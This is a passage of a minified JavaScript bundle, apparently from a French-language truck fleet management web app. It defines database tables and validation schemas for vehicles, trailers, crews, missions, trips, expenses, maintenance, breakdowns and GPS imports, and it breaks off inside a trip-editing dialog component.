,s=n?us.INT48_UNSIGNED_MAX:us.INT48_MAX):Us(e,[&quot;PgBigInt53&quot;,&quot;PgBigSerial53&quot;,&quot;MySqlBigInt53&quot;,&quot;MySqlSerial&quot;,&quot;SingleStoreBigInt53&quot;,&quot;SingleStoreSerial&quot;,&quot;SQLiteInteger&quot;])?(n=n||Us(e,[&quot;MySqlSerial&quot;,&quot;SingleStoreSerial&quot;]),i=n?0:Number.MIN_SAFE_INTEGER,s=Number.MAX_SAFE_INTEGER,o=!0):Us(e,[&quot;MySqlYear&quot;,&quot;SingleStoreYear&quot;])?(i=1901,s=2155,o=!0):(i=Number.MIN_SAFE_INTEGER,s=Number.MAX_SAFE_INTEGER);let l=r===!0||r?.number?o?t.coerce.number():t.coerce.number().int():o?t.int():t.number();return l=l.gte(i).lte(s),l}function _ze(e,t,r){const n=e.getSQLType().includes(&quot;unsigned&quot;),i=n?0n:us.INT64_MIN,s=n?us.INT64_UNSIGNED_MAX:us.INT64_MAX;return(r===!0||r?.bigint?t.coerce.bigint():t.bigint()).gte(i).lte(s)}function Dze(e,t,r){if(Us(e,[&quot;PgUUID&quot;]))return t.uuid();let n,i,s=!1;Us(e,[&quot;PgVarchar&quot;,&quot;SQLiteText&quot;])?n=e.length:Us(e,[&quot;MySqlVarChar&quot;,&quot;SingleStoreVarChar&quot;])?n=e.length??us.INT16_UNSIGNED_MAX:Us(e,[&quot;MySqlText&quot;,&quot;SingleStoreText&quot;])&amp;&amp;(e.textType===&quot;longtext&quot;?n=us.INT32_UNSIGNED_MAX:e.textType===&quot;mediumtext&quot;?n=us.INT24_UNSIGNED_MAX:e.textType===&quot;text&quot;?n=us.INT16_UNSIGNED_MAX:n=us.INT8_UNSIGNED_MAX),Us(e,[&quot;PgChar&quot;,&quot;MySqlChar&quot;,&quot;SingleStoreChar&quot;])&amp;&amp;(n=e.length,s=!0),Us(e,[&quot;PgBinaryVector&quot;])&amp;&amp;(i=/^[01]+$/,n=e.dimensions);let o=r===!0||r?.string?t.coerce.string():t.string();return o=i?o.regex(i):o,n&amp;&amp;s?o.length(n):n?o.max(n):o}function lne(e){return lZ(e)?YQe(e):ZQe(e)}function cne(e,t,r,n){const i={};for(const[s,o]of Object.entries(e)){if(!ko(o,Lv)&amp;&amp;!ko(o,js)&amp;&amp;!ko(o,js.Aliased)&amp;&amp;typeof o==&quot;object&quot;){const h=lZ(o)||KQe(o)?lne(o):o;i[s]=cne(h,t[s]??{},r);continue}const l=t[s];if(l!==void 0&amp;&amp;typeof l!=&quot;function&quot;){i[s]=l;continue}const c=ko(o,Lv)?o:void 0,d=c?one(c):$v(),u=typeof l==&quot;function&quot;?l(d):d;r.never(c)||(i[s]=u,c&amp;&amp;(r.nullable(c)&amp;&amp;(i[s]=i[s].nullable()),r.optional(c)&amp;&amp;(i[s]=i[s].optional())))}return Wk(i)}const Tze={never:e=&gt;e?.generated?.type===&quot;always&quot;||e?.generatedIdentity?.type===&quot;always&quot;,optional:e=&gt;!e.notNull||e.notNull&amp;&amp;e.hasDefault,nullable:e=&gt;!e.notNull},hs=(e,t)=&gt;{const r=lne(e);return cne(r,t??{},Tze)},Rze=[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;comptable&quot;,&quot;atelier&quot;,&quot;chauffeur&quot;,&quot;apprenti&quot;],f2=La(&quot;users&quot;,{id:ox(&quot;id&quot;).primaryKey().default(Mv`gen_random_uuid()`),username:_t(&quot;username&quot;).notNull().unique(),password:_t(&quot;password&quot;).notNull(),role:_t(&quot;role&quot;).notNull().default(&quot;apprenti&quot;)});hs(f2).pick({username:!0,password:!0,role:!0}).extend({role:Xl(Rze).optional()});const Pze=[&quot;actif&quot;,&quot;maintenance&quot;,&quot;hors_service&quot;],N_=[&quot;plateau&quot;,&quot;citerne&quot;,&quot;benne&quot;,&quot;frigorifique&quot;,&quot;autre&quot;],S_=[&quot;chauffeur&quot;,&quot;apprenti&quot;],une=[&quot;scheduled&quot;,&quot;in_transit&quot;,&quot;completed&quot;,&quot;cancelled&quot;],Qze=[&quot;planned&quot;,&quot;in_progress&quot;,&quot;completed&quot;,&quot;cancelled&quot;],FC=[&quot;carburant&quot;,&quot;peage&quot;,&quot;douane&quot;,&quot;reparation&quot;,&quot;consommables&quot;,&quot;main_oeuvre&quot;,&quot;autre&quot;],B_=[&quot;vidange&quot;,&quot;filtres&quot;,&quot;pneus&quot;,&quot;liquide_frein&quot;,&quot;adblue&quot;,&quot;autre&quot;],Fze=[&quot;pending&quot;,&quot;in_progress&quot;,&quot;resolved&quot;],rp=La(&quot;vehicles&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),immatriculation:_t(&quot;immatriculation&quot;).notNull().unique(),nom:_t(&quot;nom&quot;),couleur:_t(&quot;couleur&quot;),marque:_t(&quot;marque&quot;),modele:_t(&quot;modele&quot;),annee:Nr(&quot;annee&quot;),photoUrl:_t(&quot;photo_url&quot;),plaquePhotoUrl:_t(&quot;plaque_photo_url&quot;),photoCloudinaryPublicId:_t(&quot;photo_cloudinary_public_id&quot;),plaquePhotoCloudinaryPublicId:_t(&quot;plaque_photo_cloudinary_public_id&quot;),status:_t(&quot;status&quot;).notNull().default(&quot;actif&quot;),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()}),h2=La(&quot;trailers&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),numeroChassis:_t(&quot;numero_chassis&quot;).notNull().unique(),nom:_t(&quot;nom&quot;),couleur:_t(&quot;couleur&quot;),type:_t(&quot;type&quot;).notNull(),capacite:fa(&quot;capacite&quot;),photoUrl:_t(&quot;photo_url&quot;),photoCloudinaryPublicId:_t(&quot;photo_cloudinary_public_id&quot;),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()}),dne=La(&quot;vehicle_trailer_couplings&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),vehicleId:Nr(&quot;vehicle_id&quot;).notNull().references(()=&gt;rp.id,{onDelete:&quot;cascade&quot;}),trailerId:Nr(&quot;trailer_id&quot;).references(()=&gt;h2.id,{onDelete:&quot;set null&quot;}),chauffeurId:Nr(&quot;chauffeur_id&quot;).references(()=&gt;ux.id,{onDelete:&quot;set null&quot;}),startAt:Mr(&quot;start_at&quot;).notNull().defaultNow(),endAt:Mr(&quot;end_at&quot;),active:Ju(&quot;active&quot;).notNull().default(!0),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()});La(&quot;coupling_apprentis&quot;,{couplingId:Nr(&quot;coupling_id&quot;).notNull().references(()=&gt;dne.id,{onDelete:&quot;cascade&quot;}),apprentiId:Nr(&quot;apprenti_id&quot;).notNull().references(()=&gt;ux.id,{onDelete:&quot;cascade&quot;}),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow()});const ux=La(&quot;crew_members&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),nom:_t(&quot;nom&quot;).notNull(),prenom:_t(&quot;prenom&quot;).notNull(),role:_t(&quot;role&quot;).notNull(),telephone:_t(&quot;telephone&quot;),photoUrl:_t(&quot;photo_url&quot;),photoCloudinaryPublicId:_t(&quot;photo_cloudinary_public_id&quot;),documents:Lm(&quot;documents&quot;),userId:ox(&quot;user_id&quot;).references(()=&gt;f2.id,{onDelete:&quot;set null&quot;}),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()}),Vv=La(&quot;locations&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),name:_t(&quot;name&quot;).notNull(),type:_t(&quot;type&quot;).notNull(),country:_t(&quot;country&quot;),latitude:fa(&quot;latitude&quot;),longitude:fa(&quot;longitude&quot;),imageUrl:_t(&quot;image_url&quot;),isActive:Ju(&quot;is_active&quot;).notNull().default(!0),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()}),fne=La(&quot;mission_types&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),name:_t(&quot;name&quot;).notNull(),code:_t(&quot;code&quot;).notNull().unique(),description:_t(&quot;description&quot;),loadingType:_t(&quot;loading_type&quot;).notNull(),defaultClient:_t(&quot;default_client&quot;),defaultClientName:_t(&quot;default_client_name&quot;),defaultCargo:_t(&quot;default_cargo&quot;),isRoundTrip:Ju(&quot;is_round_trip&quot;).notNull().default(!0),defaultLoadingLocationId:Nr(&quot;default_loading_location_id&quot;).references(()=&gt;Vv.id,{onDelete:&quot;set null&quot;}),defaultUnloadingLocationId:Nr(&quot;default_unloading_location_id&quot;).references(()=&gt;Vv.id,{onDelete:&quot;set null&quot;}),expectedToursDefault:Nr(&quot;expected_tours_default&quot;),standardDurationDays:Nr(&quot;standard_duration_days&quot;),isActive:Ju(&quot;is_active&quot;).notNull().default(!0),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()}),m2=La(&quot;missions&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),code:_t(&quot;code&quot;).notNull().unique(),title:_t(&quot;title&quot;).notNull(),description:_t(&quot;description&quot;),missionTypeId:Nr(&quot;mission_type_id&quot;).references(()=&gt;fne.id,{onDelete:&quot;set null&quot;}),vehicleId:Nr(&quot;vehicle_id&quot;).notNull().references(()=&gt;rp.id,{onDelete:&quot;cascade&quot;}),trailerId:Nr(&quot;trailer_id&quot;).references(()=&gt;h2.id,{onDelete:&quot;set null&quot;}),mainDriverId:Nr(&quot;main_driver_id&quot;).references(()=&gt;ux.id,{onDelete:&quot;set null&quot;}),clientName:_t(&quot;client_name&quot;).notNull(),clientReference:_t(&quot;client_reference&quot;),loadingSite:_t(&quot;loading_site&quot;).notNull(),unloadingSite:_t(&quot;unloading_site&quot;).notNull(),loadingLocationId:Nr(&quot;loading_location_id&quot;).references(()=&gt;Vv.id,{onDelete:&quot;set null&quot;}),unloadingLocationId:Nr(&quot;unloading_location_id&quot;).references(()=&gt;Vv.id,{onDelete:&quot;set null&quot;}),loadingType:_t(&quot;loading_type&quot;).notNull(),loadingOrderNumber:_t(&quot;loading_order_number&quot;).notNull(),loadingOrderDate:Ng(&quot;loading_order_date&quot;).notNull(),loadingBonImageUrl:_t(&quot;loading_bon_image_url&quot;),loadingBonImageCloudinaryPublicId:_t(&quot;loading_bon_image_cloudinary_public_id&quot;),expectedTours:Nr(&quot;expected_tours&quot;).default(1),status:_t(&quot;status&quot;).notNull().default(&quot;planned&quot;),plannedStartAt:Mr(&quot;planned_start_at&quot;),plannedEndAt:Mr(&quot;planned_end_at&quot;),startAt:Mr(&quot;start_at&quot;),endAt:Mr(&quot;end_at&quot;),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()}),Oze=La(&quot;mission_crew&quot;,{missionId:Nr(&quot;mission_id&quot;).notNull().references(()=&gt;m2.id,{onDelete:&quot;cascade&quot;}),crewMemberId:Nr(&quot;crew_member_id&quot;).notNull().references(()=&gt;ux.id,{onDelete:&quot;cascade&quot;}),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow()}),p2=La(&quot;trips&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),missionId:Nr(&quot;mission_id&quot;).references(()=&gt;m2.id,{onDelete:&quot;set null&quot;}),vehicleId:Nr(&quot;vehicle_id&quot;).notNull().references(()=&gt;rp.id,{onDelete:&quot;cascade&quot;}),trailerId:Nr(&quot;trailer_id&quot;).references(()=&gt;h2.id,{onDelete:&quot;set null&quot;}),origine:_t(&quot;origine&quot;).notNull(),destination:_t(&quot;destination&quot;).notNull(),dateDepart:Mr(&quot;date_depart&quot;).notNull(),dateArrivee:Mr(&quot;date_arrivee&quot;),status:_t(&quot;status&quot;).notNull().default(&quot;scheduled&quot;),typeChargement:_t(&quot;type_chargement&quot;),poidsChargement:fa(&quot;poids_chargement&quot;),distance:fa(&quot;distance&quot;),contratClientId:_t(&quot;contrat_client_id&quot;),loadingCompletedAt:Mr(&quot;loading_completed_at&quot;),unloadingCompletedAt:Mr(&quot;unloading_completed_at&quot;),departureOdometerKm:Nr(&quot;departure_odometer_km&quot;),arrivalOdometerKm:Nr(&quot;arrival_odometer_km&quot;),fuelFillAmountL:fa(&quot;fuel_fill_amount_l&quot;),fuelFillCostFcfa:Nr(&quot;fuel_fill_cost_fcfa&quot;),fuelReceiptUrl:_t(&quot;fuel_receipt_url&quot;),fuelReceiptCloudinaryPublicId:_t(&quot;fuel_receipt_cloudinary_public_id&quot;),loadingWeighingTicketUrl:_t(&quot;loading_weighing_ticket_url&quot;),loadingWeighingTicketCloudinaryPublicId:_t(&quot;loading_weighing_ticket_cloudinary_public_id&quot;),unloadingWeighingTicketUrl:_t(&quot;unloading_weighing_ticket_url&quot;),unloadingWeighingTicketCloudinaryPublicId:_t(&quot;unloading_weighing_ticket_cloudinary_public_id&quot;),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()}),Lze=La(&quot;trip_crew&quot;,{tripId:Nr(&quot;trip_id&quot;).notNull().references(()=&gt;p2.id,{onDelete:&quot;cascade&quot;}),crewMemberId:Nr(&quot;crew_member_id&quot;).notNull().references(()=&gt;ux.id,{onDelete:&quot;cascade&quot;})}),Mze=La(&quot;trip_expenses&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),tripId:Nr(&quot;trip_id&quot;).notNull().references(()=&gt;p2.id,{onDelete:&quot;cascade&quot;}),categorie:_t(&quot;categorie&quot;).notNull(),montant:fa(&quot;montant&quot;).notNull(),date:Ng(&quot;date&quot;).notNull(),description:_t(&quot;description&quot;),justificatifUrl:_t(&quot;justificatif_url&quot;),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()}),Uze=La(&quot;trip_revenues&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),tripId:Nr(&quot;trip_id&quot;).notNull().references(()=&gt;p2.id,{onDelete:&quot;cascade&quot;}),montantPrevu:fa(&quot;montant_prevu&quot;),montantRecu:fa(&quot;montant_recu&quot;),origineContrat:_t(&quot;origine_contrat&quot;),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()}),zze=La(&quot;mission_revenues&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),missionId:Nr(&quot;mission_id&quot;).notNull().references(()=&gt;m2.id,{onDelete:&quot;cascade&quot;}),montantPrevu:fa(&quot;montant_prevu&quot;),montantRecu:fa(&quot;montant_recu&quot;),origineContrat:_t(&quot;origine_contrat&quot;),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()}),$ze=La(&quot;mission_expenses&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),missionId:Nr(&quot;mission_id&quot;).notNull().references(()=&gt;m2.id,{onDelete:&quot;cascade&quot;}),categorie:_t(&quot;categorie&quot;).notNull(),montant:fa(&quot;montant&quot;).notNull(),date:Ng(&quot;date&quot;).notNull(),description:_t(&quot;description&quot;),justificatifUrl:_t(&quot;justificatif_url&quot;),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()}),Hze=La(&quot;maintenances&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),vehicleId:Nr(&quot;vehicle_id&quot;).references(()=&gt;rp.id,{onDelete:&quot;cascade&quot;}),trailerId:Nr(&quot;trailer_id&quot;).references(()=&gt;h2.id,{onDelete:&quot;cascade&quot;}),type:_t(&quot;type&quot;).notNull(),datePrevue:Ng(&quot;date_prevue&quot;),kilometragePrevu:Nr(&quot;kilometrage_prevu&quot;),dateEffectuee:Ng(&quot;date_effectuee&quot;),kilometrageEffectue:Nr(&quot;kilometrage_effectue&quot;),cout:fa(&quot;cout&quot;),notes:_t(&quot;notes&quot;),status:_t(&quot;status&quot;).notNull().default(&quot;planned&quot;),photoUrl:_t(&quot;photo_url&quot;),photoCloudinaryPublicId:_t(&quot;photo_cloudinary_public_id&quot;),audioUrl:_t(&quot;audio_url&quot;),audioCloudinaryPublicId:_t(&quot;audio_cloudinary_public_id&quot;),replacedParts:Lm(&quot;replaced_parts&quot;),laborCost:fa(&quot;labor_cost&quot;),totalCost:fa(&quot;total_cost&quot;),justificatifUrl:_t(&quot;justificatif_url&quot;),justificatifCloudinaryPublicId:_t(&quot;justificatif_cloudinary_public_id&quot;),treatedBy:ox(&quot;treated_by&quot;).references(()=&gt;f2.id,{onDelete:&quot;set null&quot;}),treatedAt:Mr(&quot;treated_at&quot;),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()}),qze=La(&quot;breakdowns&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),vehicleId:Nr(&quot;vehicle_id&quot;).notNull().references(()=&gt;rp.id,{onDelete:&quot;cascade&quot;}),type:_t(&quot;type&quot;).notNull(),date:Ng(&quot;date&quot;).notNull(),lieu:_t(&quot;lieu&quot;),description:_t(&quot;description&quot;),audioUrl:_t(&quot;audio_url&quot;),audioCloudinaryPublicId:_t(&quot;audio_cloudinary_public_id&quot;),photoUrl:_t(&quot;photo_url&quot;),photoCloudinaryPublicId:_t(&quot;photo_cloudinary_public_id&quot;),videoUrl:_t(&quot;video_url&quot;),videoCloudinaryPublicId:_t(&quot;video_cloudinary_public_id&quot;),actionReparative:_t(&quot;action_reparative&quot;),cout:fa(&quot;cout&quot;),status:_t(&quot;status&quot;).notNull().default(&quot;pending&quot;),responseAudioUrl:_t(&quot;response_audio_url&quot;),responseCreatedAt:Mr(&quot;response_created_at&quot;),responseAuthorId:ox(&quot;response_author_id&quot;).references(()=&gt;f2.id,{onDelete:&quot;set null&quot;}),replacedParts:Lm(&quot;replaced_parts&quot;),laborCost:fa(&quot;labor_cost&quot;),totalRepairCost:fa(&quot;total_repair_cost&quot;),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()});hs(rp).omit({id:!0,createdAt:!0,updatedAt:!0}).extend({status:Xl(Pze).optional()});hs(h2).omit({id:!0,createdAt:!0,updatedAt:!0}).extend({type:Xl(N_),nom:Kl().optional(),couleur:Kl().optional()});hs(dne).omit({id:!0,createdAt:!0,updatedAt:!0,active:!0}).extend({startAt:sl(),endAt:sl().optional(),apprentiIds:tp(xc()).optional()});hs(ux).omit({id:!0,createdAt:!0,updatedAt:!0}).extend({role:Xl(S_),userId:Kl().nullable().optional()});hs(p2).omit({id:!0,createdAt:!0,updatedAt:!0,status:!0}).extend({dateDepart:sl(),dateArrivee:sl().optional(),status:Xl(une).optional(),missionId:xc().min(1,&quot;Chaque voyage doit être rattaché à une mission. Créez d&#039;abord une mission, puis ajoutez des voyages à cette mission.&quot;),loadingCompletedAt:sl().optional().nullable(),unloadingCompletedAt:sl().optional().nullable(),departureOdometerKm:xc().int().positive().optional().nullable(),arrivalOdometerKm:xc().int().positive().optional().nullable(),fuelFillAmountL:xc().positive().optional().nullable(),fuelFillCostFcfa:xc().int().positive().optional().nullable(),fuelReceiptUrl:Kl().url().optional().nullable()});hs(Lze);hs(Mze).omit({id:!0,createdAt:!0,updatedAt:!0}).extend({date:sl(),categorie:Xl(FC)});hs(Uze).omit({id:!0,createdAt:!0,updatedAt:!0});hs(zze).omit({id:!0,createdAt:!0,updatedAt:!0});hs($ze).omit({id:!0,createdAt:!0,updatedAt:!0}).extend({date:sl(),categorie:Xl(FC)});hs(Hze).omit({id:!0,createdAt:!0,updatedAt:!0}).extend({datePrevue:sl().optional(),dateEffectuee:sl().optional(),type:Xl(B_),vehicleId:xc().int().positive().optional().nullable(),trailerId:xc().int().positive().optional().nullable()}).refine(e=&gt;e.vehicleId!==null&amp;&amp;e.vehicleId!==void 0||e.trailerId!==null&amp;&amp;e.trailerId!==void 0,{message:&quot;Un véhicule ou une remorque doit être sélectionné&quot;,path:[&quot;vehicleId&quot;]});hs(qze).omit({id:!0,createdAt:!0,updatedAt:!0}).extend({date:sl(),status:Xl(Fze).optional(),responseAudioUrl:Kl().url().optional().nullable(),responseCreatedAt:sl().optional().nullable(),responseAuthorId:Kl().optional().nullable()});hs(m2).omit({id:!0,createdAt:!0,updatedAt:!0,code:!0}).extend({status:Xl(Qze).optional(),loadingOrderDate:sl(),startAt:sl().optional(),endAt:sl().optional(),additionalCrewIds:tp(xc()).optional(),expectedTours:xc().int().min(1).default(1).optional()});hs(Vv).omit({id:!0,createdAt:!0,updatedAt:!0});hs(fne).omit({id:!0,createdAt:!0,updatedAt:!0});hs(Oze).omit({createdAt:!0});const Gze=La(&quot;organization_settings&quot;,{id:Nr(&quot;id&quot;).primaryKey().default(1),companyName:_t(&quot;company_name&quot;).notNull(),legalName:_t(&quot;legal_name&quot;),addressLine:_t(&quot;address_line&quot;),city:_t(&quot;city&quot;),country:_t(&quot;country&quot;),phone:_t(&quot;phone&quot;),email:_t(&quot;email&quot;),website:_t(&quot;website&quot;),taxId:_t(&quot;tax_id&quot;),logoUrl:_t(&quot;logo_url&quot;),logoCloudinaryPublicId:_t(&quot;logo_cloudinary_public_id&quot;),cloudinaryCloudName:_t(&quot;cloudinary_cloud_name&quot;),cloudinaryApiKey:_t(&quot;cloudinary_api_key&quot;),cloudinaryApiSecret:_t(&quot;cloudinary_api_secret&quot;),dispatchPhone:_t(&quot;dispatch_phone&quot;),mechanicPhone:_t(&quot;mechanic_phone&quot;),videoEnabled:Ju(&quot;video_enabled&quot;),videoMaxDurationSec:Nr(&quot;video_max_duration_sec&quot;),videoResolutionPreset:_t(&quot;video_resolution_preset&quot;),videoMaxSizeBytes:Nr(&quot;video_max_size_bytes&quot;),videoPreferredCaptureMode:_t(&quot;video_preferred_capture_mode&quot;),videoPreferredMimeTypes:Lm(&quot;video_preferred_mime_types&quot;),videoThumbnailEnabled:Ju(&quot;video_thumbnail_enabled&quot;),videoThumbnailMaxSize:Nr(&quot;video_thumbnail_max_size&quot;),videoThumbnailQuality:fa(&quot;video_thumbnail_quality&quot;),videoRequireExactOrLower:Ju(&quot;video_require_exact_or_lower&quot;),audioEnabled:Ju(&quot;audio_enabled&quot;),audioMaxDurationSec:Nr(&quot;audio_max_duration_sec&quot;),audioBitrateKbps:Nr(&quot;audio_bitrate_kbps&quot;),audioChannels:Nr(&quot;audio_channels&quot;),audioPreferredMimeTypes:Lm(&quot;audio_preferred_mime_types&quot;),audioMaxSizeBytes:Nr(&quot;audio_max_size_bytes&quot;),audioThumbnailWaveformEnabled:Ju(&quot;audio_thumbnail_waveform_enabled&quot;),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()});La(&quot;sessions&quot;,{id:_t(&quot;id&quot;).primaryKey(),userId:ox(&quot;user_id&quot;).notNull().references(()=&gt;f2.id,{onDelete:&quot;cascade&quot;}),username:_t(&quot;username&quot;).notNull(),role:_t(&quot;role&quot;).notNull(),expiresAt:Mr(&quot;expires_at&quot;).notNull(),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow()});const Vze=hs(Gze,{email:Kl().email(&quot;Format d&#039;email invalide&quot;).optional().or(i_(&quot;&quot;)),companyName:Kl().min(1,&quot;La dénomination commerciale est obligatoire&quot;)}).pick({companyName:!0,legalName:!0,addressLine:!0,city:!0,country:!0,phone:!0,email:!0,website:!0,taxId:!0,logoUrl:!0,cloudinaryCloudName:!0,cloudinaryApiKey:!0,cloudinaryApiSecret:!0,dispatchPhone:!0,mechanicPhone:!0});Vze.partial().extend({companyName:Kl().min(1,&quot;La dénomination commerciale est obligatoire&quot;).optional()});const Wze=[&quot;uploaded&quot;,&quot;parsed&quot;,&quot;failed&quot;],hne=La(&quot;tracksolid_imports&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),fileName:_t(&quot;file_name&quot;).notNull(),fileHash:_t(&quot;file_hash&quot;).notNull().unique(),periodStart:Mr(&quot;period_start&quot;),periodEnd:Mr(&quot;period_end&quot;),status:_t(&quot;status&quot;).notNull().default(&quot;uploaded&quot;),errorMessage:_t(&quot;error_message&quot;),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()}),mne=La(&quot;tracksolid_trips&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),importId:Nr(&quot;import_id&quot;).notNull().references(()=&gt;hne.id,{onDelete:&quot;cascade&quot;}),vehicleExternalName:_t(&quot;vehicle_external_name&quot;).notNull(),vehiclePlateGuess:_t(&quot;vehicle_plate_guess&quot;),startAt:Mr(&quot;start_at&quot;),endAt:Mr(&quot;end_at&quot;),startLocation:_t(&quot;start_location&quot;),endLocation:_t(&quot;end_location&quot;),distanceKm:fa(&quot;distance_km&quot;),durationMinutes:Nr(&quot;duration_minutes&quot;),maxSpeedKmh:fa(&quot;max_speed_kmh&quot;),avgSpeedKmh:fa(&quot;avg_speed_kmh&quot;),raw:Lm(&quot;raw&quot;),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()}),Kze=La(&quot;tracksolid_vehicle_map&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),externalName:_t(&quot;external_name&quot;).notNull().unique(),vehicleId:Nr(&quot;vehicle_id&quot;).references(()=&gt;rp.id,{onDelete:&quot;set null&quot;}),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow(),updatedAt:Mr(&quot;updated_at&quot;).notNull().defaultNow()}),Yze=La(&quot;tracksolid_trip_links&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),tracksolidTripId:Nr(&quot;tracksolid_trip_id&quot;).notNull().references(()=&gt;mne.id,{onDelete:&quot;cascade&quot;}).unique(),tripId:Nr(&quot;trip_id&quot;).notNull().references(()=&gt;p2.id,{onDelete:&quot;cascade&quot;}).unique(),matchConfidence:Nr(&quot;match_confidence&quot;).notNull(),matchReason:_t(&quot;match_reason&quot;),linkedBy:_t(&quot;linked_by&quot;).notNull().default(&quot;manual&quot;),linkedAt:Mr(&quot;linked_at&quot;).notNull().defaultNow(),createdAt:Mr(&quot;created_at&quot;).notNull().defaultNow()});hs(hne).omit({id:!0,createdAt:!0,updatedAt:!0}).extend({status:Xl(Wze).optional()});hs(mne).omit({id:!0,createdAt:!0,updatedAt:!0});hs(Kze).omit({id:!0,createdAt:!0,updatedAt:!0});hs(Yze).omit({id:!0,createdAt:!0});const Zze=La(&quot;track_points&quot;,{id:Nr(&quot;id&quot;).primaryKey().generatedAlwaysAsIdentity(),vehicleId:Nr(&quot;vehicle_id&quot;).notNull().references(()=&gt;rp.id,{onDelete:&quot;cascade&quot;}),ts:Mr(&quot;ts&quot;,{withTimezone:!0}).notNull(),lat:fa(&quot;lat&quot;).notNull(),lon:fa(&quot;lon&quot;).notNull(),speedKmh:fa(&quot;speed_kmh&quot;),engineOn:Ju(&quot;engine_on&quot;),moving:Ju(&quot;moving&quot;),mileageKm:fa(&quot;mileage_km&quot;),raw:Lm(&quot;raw&quot;),sourceFile:_t(&quot;source_file&quot;).notNull(),importedAt:Mr(&quot;imported_at&quot;,{withTimezone:!0}).notNull().defaultNow()});hs(Zze).omit({id:!0,importedAt:!0}).extend({ts:sl()});const Jze={scheduled:&quot;Programmé&quot;,in_transit:&quot;En cours&quot;,completed:&quot;Terminé&quot;,cancelled:&quot;Annulé&quot;};function Xze({trip:e,vehicles:t=[],trailers:r=[],crewMembers:n=[],open:i,onOpenChange:s,onUpdate:o}){const[l,c]=I.useState({vehicleId:&quot;&quot;,trailerId:&quot;&quot;,crewMemberIds:[],origine:&quot;&quot;,destination:&quot;&quot;,dateDepart:&quot;&quot;,dateArrivee:&quot;&quot;,status:&quot;scheduled&quot;}),{data:d=[]}=cr({queryKey:e?[&quot;/api/trips&quot;,e.id.toString(),&quot;crew&quot;]:[],queryFn:um({on401:&quot;throw&quot;}),enabled:!!e&amp;&amp;i});I.useEffect(()=&gt;{if(e&amp;&amp;i){const p=A=&gt;{if(!A)return&quot;&quot;;const y=new Date(A),v=y.getFullYear(),w=String(y.getMonth()+1).padStart(2,&quot;0&quot;),j=String(y.getDate()).padStart(2,&quot;0&quot;),E=String(y.getHours()).padStart(2,&quot;0&quot;),S=String(y.getMinutes()).padStart(2,&quot;0&quot;);return`${v}-${w}-${j}T${E}:${S}`};c({vehicleId:e.vehicleId.toString(),trailerId:e.trailerId?.toString()||&quot;&quot;,crewMemberIds:d.map(A=&gt;A.id),origine:e.origine,destination:e.destination,dateDepart:p(e.dateDepart),dateArrivee:p(e.dateArrivee),status:e.status})}},[e,i,d]);const u=async p=&gt;{if(p.preventDefault(),!e)return;const 